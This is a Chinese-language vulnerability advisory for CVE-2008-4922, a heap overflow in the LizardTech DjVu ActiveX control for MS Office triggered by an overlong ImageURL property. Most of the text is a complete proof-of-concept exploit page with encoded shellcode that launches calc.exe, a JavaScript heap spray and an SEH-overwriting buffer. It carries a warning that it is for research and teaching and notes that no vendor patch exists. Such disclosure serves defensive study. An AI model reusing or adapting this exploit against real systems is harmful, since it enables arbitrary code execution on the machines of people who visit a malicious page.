安全研究
安全漏洞
DjVu DjVu_ActiveX_MSOffice.dll ActiveX控件堆溢出漏洞
发布日期：2008-10-30
更新日期：2008-11-05
受影响系统：
LizardTech DjVu ActiveX Control for MS Office 3.0描述：
BUGTRAQ ID: 31987
CVE(CAN) ID: CVE-2008-4922
DjVu ActiveX控件是用于压缩图形文件的工具。
MS Office所使用的DjVu ActiveX控件（DjVu_ActiveX_MSOffice.dll）在处理超长的ImageURL属性参数时存在堆溢出漏洞。如果用户受骗访问了恶意网页并向该属性传送了超长参数的话，就可以触发堆溢出，导致执行任意指令。
<*来源：Shahriyar Jalayeri （Shahriyar.j@gmail.com）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C" ></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
<script>
// clac.exe
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
// address I use to jump ( ASCII Address )
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
// this size of 'A' strings overwrite eip and it cause and exception so we jumt to seh handler
var BufferSize = 1684;
// Next seh handler never execute
var NextSehHandler = unescape("%90%90%90%90");
// now we jump to our address in sprayed heap block and the Shellcode get execute !
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.ImageURL = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>
建议：
厂商补丁：
LizardTech
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://djvu.org/resources/
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